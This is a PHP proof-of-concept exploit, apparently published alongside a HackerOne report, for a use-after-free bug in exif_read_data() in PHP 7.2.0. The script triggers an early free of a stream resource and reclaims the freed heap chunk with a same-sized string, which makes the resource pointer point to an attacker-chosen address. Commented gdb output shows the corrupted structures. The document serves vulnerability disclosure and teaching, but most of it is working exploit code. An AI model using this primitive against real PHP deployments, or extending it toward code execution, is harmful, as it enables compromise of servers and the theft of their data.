<?php
/* https://github.com/0xbigshaq
 * Tested on 32bit Linux (Debian 5.4.19-1) / kali linux
 * PHP Version: 7.2.0 
 * This is a PoC for use-after-free vulnerabillity in PHP's exif_read_data()
 * 
 * Report: https://hackerone.com/reports/371135
 * The fix: http://git.php.net/?p=php-src.git;a=blobdiff;f=ext/exif/exif.c;h=67e827b44147ab121d1f7174eab62addd24bc889;hp=f5b0d4009fe18daf931a2a073882dc517a560012;hb=3fdde65617e9f954e2c964768aac8831005497e5;hpb=e0290192752a72b5be35b033b33590e040d60d24
 * 
 * The following PoC code shows how you can make a PHP resource to point to an arbirary 
 * location in memory. 
 * 
 */

 
 define('FAKE_STREAM_ADDRESS', "\x41\x41\x41"); // It is preferred to locate your fake struct in a low memory address (an address that is 3 bytes long)
                                                // 
                                                // Note:   It's possible to exploit it with 4 bytes as well  but it 
                                                // might lead to inconsistencies so it's better to stick with 3 bytes.


/* ===================================[ START OF MAIN ] =============================== */

$r = fopen(".", "r"); // allocating a new zend_resource structure.
                      // We are opening the current directory because this will
                      // make exif_read_data() to "choke" and trigger the early-free.


echo "\n \$r before: ";
var_dump($r);

triggerUAF($r, FAKE_STREAM_ADDRESS); // trigger the bug and modify the resource pointer

echo "\n\$r after: ";
var_dump($r);

// uncomment the line below if you want to see the SIGSEV happens:
// fread($r, 4); 

/* ===================================[ END OF MAIN ] =============================== */

function triggerUAF(&$r, $newAddr) {
    exif_read_data($r); // trigger an early-free on $r's value by providing an invalid handle (from line 24)

/*
This is where the early-free happens: 
snippet from: ext/exif/exif.c
------------------------------------------------------------
// 4310 static int exif_read_from_impl(image_info_type *ImageInfo, php_stream *stream, int read_thumbnail, int read_all)
// 4311 {
// .... more code .....
// 4325                 if ((st.st_mode & S_IFMT) != S_IFREG) {
// 4326                         exif_error_docref(NULL EXIFERR_CC, ImageInfo, E_WARNING, "Not a file");
// 4327                         php_stream_close(ImageInfo->infile); // <----- this is where the memory pointed by $r is free'd
// 4328                         return FALSE;
// 4329                 }
------------------------------------------------------------


At this point, $r->value->res points to a free'd memory chunk(or, in UAF terms: it's a "dangling pointer")
The next thing we will do is to "catch" this free memory chunk with a 
different/new allocation:
*/
    $s = str_repeat($newAddr, 1); // allocating a new zend_string on the heap, this will
                                  // make the address of $s to be the same as where $r points to
                                  // Q: "Why did you choose zend_string?" 
                                  // A: Because we're trying to implement a first-fit technique and 
                                  // those structures have a very similar size, hence, they will land
                                  // on the same bin:
                                  //      gdb-peda$ call sizeof(zend_resource)
                                  //      20
                                  //      gdb-peda$ call sizeof(zend_string)
                                  //      20


/*
Because those two structures have a similar layout in memory, and the "ptr" property(from zend_resource)
share the same offset as "val" property (from zend_string) containing our malicious string, it means that
the string inside $s lands exactly on the "ptr" property! 

This is how the two variables look like now (internally):

gdb-peda$ print (zend_string)*0xb5a01408 
$4 = {
  gc = {
    refcount = 1, 
    u = {
      v = {
        type = 6 '\006', 
        flags = 0 '\000',
        gc_info = 0
      },
      type_info = 6
    }
  },
  h = 0,
  len = 3, 
  val = "AAA" <---- our allocated string
}
```

And this is how PHP sees ``$r``:
```
gdb-peda$ print (zend_resource)*0xb5a01408 <---- same address, different struct representation
$5 = {
  gc = {
    refcount = 1,
    u = {
      v = {
        type = 6 '\006',
        flags = 0 '\000',
        gc_info = 0
      },
      type_info = 6
    }
  },
  handle = 0,
  type = 3,
  ptr = 0x414141 <------ what??
}

*/
}

echo "\n";
?>